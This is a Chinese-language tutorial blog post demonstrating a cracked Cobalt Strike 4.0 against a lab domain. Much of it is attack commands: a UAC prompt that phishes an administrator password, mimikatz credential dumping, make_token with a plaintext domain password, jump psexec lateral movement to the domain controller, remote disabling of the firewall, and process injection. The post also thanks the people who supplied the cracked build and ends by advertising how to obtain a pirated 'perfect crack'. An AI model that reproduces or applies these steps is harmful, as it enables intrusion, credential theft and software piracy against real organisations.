你应该知道的Cobalt Strike 4.0的更新!
本文由Gcow安全团队绝影小组小离师傅原创,属于教程类文章
全文字数2348字 图片63张 预计10分钟阅读完毕
文中有一个小推荐 请各位看官不要在意
我相信大家都被一条信息给炸了锅“cobaltstrike4.0破解版出来了”,这对于我们这些穷逼来说是一件好事,今天我就带大家看看cs4.0更新了啥
在这里先声明,cobaltstrike的本意是用于教育目的,并非提供给非法渗透
一.准备
试验环境:
Kali ipv4:192.168.1.119
ipv6:出于隐私考虑,没写
靶场win2008 ipv4:192.168.1.162
10.10.10.80
ipv6:处于隐私考虑,没写
靶场DC Win2012 ipv4:10.10.10.10
本文只是演示cs4.0的新特性,并非真正渗透
二.更新的内容
首先,先看看有什么主要更新
1.Stageless:

可以看到,更新日志提到Web Delivery
攻击方式,在使用64
位的payload
的时候,使用的是stageless
攻击方式,而regsvr32
攻击方式同时被去掉了,因为不能注入完整的payload,同时,作者在视频中提到,在cs4.0
中将会大大使用stageless
,很少会使用stager
.
2.移除媒介自动播放攻击

3.新增jump横向移动命令
其实就是把以前psexec
,wmi
等的整合到一个模块里,并且,当使用psexec_psh
进行横向的时候会使用stager
,其他方式均为stageless

4.No Powershell 偏好

5.提权新成员:SVC-exe和runasadmin
svc-exe
其实就是在本地执行psexec
(作者吐槽)


6.同时移除了ms14-058 exp 和uac-dll提权方式


7.重大更新:Listener
http/https/dns
均支持一个payload
填写多个ip或者域名,相当于把多个相同payload的listener
整合到一起,并且支持填入C2
参数以及代理参数
a.https/http listener:

细心的同学可能发现,下面新的选项是用来干啥的,因为在cs4.0中,对C2攻击方式进行了优化,你可以在profile选择你在外部导入进去的c2 profile,然后修改HTTPS Port(bind)的端口为你C2 服务器的端口(我也不是很懂,如果有误的话,大佬们请指正,以免误人子弟)
b.Dns listener:

c.External C2 Listener:

三.看完了cs4.0的新特性,接下来开始实践一下吧
首先,先新建一个listener,在这里,你可以填写你cs服务器的公网IPv4,内网IPv4,IPv6(IPv6要用中括号,例[240c::6666]),以及你CS服务器的域名,我在这里填入了我kali
的ipv4
和ipv6

这里的HTTPS Port (C2)就是上线端口
1.生成木马并执行
我这边直接生成了一个stageless
的木马(不熟悉的话可以去看啊离上一篇文章)
生成的木马丢上去靶机执行然后等一小会(顺带一提:不知道是不是出于某种原因,cs
直接生成的马,免杀并没有效果)
2.上线
因为我靶机有ipv6
,所以beacon
的ip
也会显示ipv6
,同时,因为也有ipv4
,所以也会显示ipv4
(意思为使用不同的协议的ip
进行同时交互)


3.界面变化
同时CS4.0
改了界面,可以显示当前的beacon进程,PID,系统位数

4.提权变化
正如我上面提到,CS4.0
版本已经移除了uac-dll
和ms14-058
提权方式,同时bypassuac
命令被移除

为了做实验,我生成了一个名为Priv Esc
的listener
(payload:tcp beacon)(建议勾选Bind to localhost only)
为什么要勾选呢?作者的话:(反正就是勾选就对了)


a.UAC-token-duplication(UAC口令复制提权)
会在主机弹出一个UAC
框去欺骗管理员输入密码,可能是因为域的原因,即使输入了也会提权失败,但是没关系,因为已经密码记录在内存中了,我们只需要本地提权并使用mimikatz
读取密码
【按照实际情况来说,其实输入本地管理员口令的更多,这里我为了演示,在UAC弹窗中输入了域管理员口令】
UAC框框

failed,but the password was logged in memory

b.svc-exe
svc-exe
这个参数,并不是和exp
提权那样,帮你从普通用户 ”pwn!!“ 一下子拿下系统,而是当管理员权限满足不了你的时候,可以用svc-exe
进行提升(类似getsystem
命令,但是getsystem
不太好使)
使用例如下情况:

svc-exe priv esc:


c.EXP 本地提权
因为现在是域用户,又又又又只能用exp本地提权了,因为作者已经在cs4.0中删除了exp,但是你可以通过GitHub
去clone
作者的【Elevate Kit】项目,然后在cs
加载模块
cs作者的项目:cb8K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6J5M7$3#2#2k6r3N6W2i4K6u0r3c8h3I4W2N6X3q4@1k6f1E0A6N6l9`.`.

d.runasadmin 提权模块(后面会用到)

5.Recon 部分更新
a.Net模块新增俩参数
(a).net domain

(b).net domain_controllers

可以看到,计算机名为DC的就是域控,接下来可以鞭挞它了
b.横向移动改进
exp提权,然后抓密码(此处密码为刚刚UAC钓到的域管理员明文密码)

(a).SMB Beacon改进
生成一个用于横向移动的listener,取名为LM,并使用SMB Beacon payload,可以看到,SMB Beacon支持自定义pipe name了

有点小伙伴要问了,为什么在旧版的cs中没有这个呢?其实,旧版cs中的pipe name是[status_端口号]

如图,旧版cs的pipe name则为status_6001
(b).jump命令
jump
命令本质上就是把原来零散的psexec,psexec64,psexec_psh,winrm,winrm64整合到一个套件里(wmi已经移除)
How to use

Lateral Movement kits in jump command

老样子,调用刚刚抓到的域凭据
make_token de1ay.com\Administrator 1qaz@WSX

使用jump
命令进行横向
jump psexec DC LM

DC Beacon Online

(c).remote-exec 命令
可以选择以下三个套件进行远程命令执行

remote-exec wmi DC netsh advfirewall set allprofiles state off (当然,和上面一样,也要先调用凭据)

(d).Invoke-Command(个人补充)
补充:在CS
中,可以使用powershell-import
导入ps1
脚本,然后使用powerpick
去执行脚本的模块

其实可以使用系统自带的Invoke-Command
模块进行远程命令执行(当然,也需要调用凭据)
powerpick Invoke-Command -ComputerName DC -ScriptBlock { netsh advfirewall set allprofiles state off }

c.One-liner
oneliner
其实就是生成一段在目标beacon
本地运行的payload
,你可以用它在目标beacon中进行花样玩耍,配合的方式有很多种,如:runas,runu,runasadmin,psinject
(a).oneliner配合runasadmin进行提权
在cs
中,只有当前用户名为administrator
的管理员用户,cs
才会自动提权,当用户名为别的管理员,cs
并不会自动提权,例如以下情况:

可以看到,xiaoli
这个用户是本地管理员,可是cs
没有帮我们提权
抓密码提示权限不足

so,we can do like this
①.生成oneliner,右击beacon-Access-oneliner
在这里的话,是看beacon的arch生成oneliner,我当前的beacon是64位,所以x86和x64的payload都可以,x86 beacon只能执行x86的payload
(我当前的beacon是x86的)


runasadmin uac-wscript + oneliner

执行完它并不会自动连接,需要去手动连接
connect 127.0.0.1


重新logonpassword

(b).One-liner 配合runas生成一个指定用户的权限
在这里的话,也是看beacon的arch生成oneliner,同上
runas DE1AY\Administrator 1qaz@WSX + oneliner 注:runas在system权限的beacon运行会失败

connect 127.0.0.1


(c).One-liner 配合runu在指定进程执行命令
在这里的话,是看目标进程的arch生成oneliner,我的目标进程是64位,所以生成x64和x86的payload都可以,x86进程则只能生成x86 payload
runu 460 + oneliner 这边选择了一个pid为460的进程

connect 127.0.0.1


同时看到该beacon的父进程就是我们刚刚所指定的

(d).Psinject使用one-liner payload注入进程
在psinject这里,x64进程可以注入x86/x64的payload,x86进程只能注入x86

psinject 2784 x64 + oneliner

connect 127.0.0.1

connected

当然,还有更多的姿势等你来解锁~
d.Link / Connect and unlink
link
支持指定pipe name
,connect
支持指定端口,unlink
支持指定pid
号,其目的是为了可以更好管理多个smb beacon listener
与tcp beacon listener
link ip pipe_name(图中因为没有111这个pipe name,连不上就报错了)

connect ip port

unlink ip pid

四.总结
作为一名有职业道德的伸手党,要时刻记得吃水不忘挖井人的道理,所以在这里要非常感谢WBGlIl大大

(对,没错,认准这只熊)提供的破解版,以及Yansu大大提供的二次元版

问答环节:
Q&A
问:为什么x64的beacon和session可以同时兼容x86和x64的payload?
答:CS特性,作者超级偏爱x86,link:b9cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1L8r3!0Y4i4K6u0W2j5$3!0T1j5h3I4@1M7%4c8J5K9h3E0W2i4K6u0W2j5$3!0E0i4K6u0r3x3U0l9I4y4W2)9J5c8U0l9K6i4K6u0r3x3e0m8Q4x3V1k6U0L8$3u0S2L8s2c8Q4x3X3c8K6N6s2u0A6K9$3g2Q4x3X3b7K6i4K6u0V1x3W2)9J5k6s2c8Z5k6g2)9J5k6r3W2F1k6i4k6A6N6r3q4T1L8r3g2Q4x3X3c8^5y4U0c8Q4x3X3c8T1k6h3q4U0L8$3&6Q4x3V1j5`.
问:为什么作者强推Stageless?
答:因为stager不安全,更脆弱,容易被检测
文末惊喜!
两天过去了,我知道,大家都在等CS完美破解版
CS4.0去暗桩,windows teamserver支持,vnc修复,x64
payload修复,汉化支持 终极版本今天发布!!Gcow安全团队核心成
员 J0o1ey’参考先知某牛和国外某牛的修复方法,目前已无x64
payload和暗桩问题
1
小声BB:关注Gcow安全团队公众号后台回复cobaltstrike即可获取下载链接

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课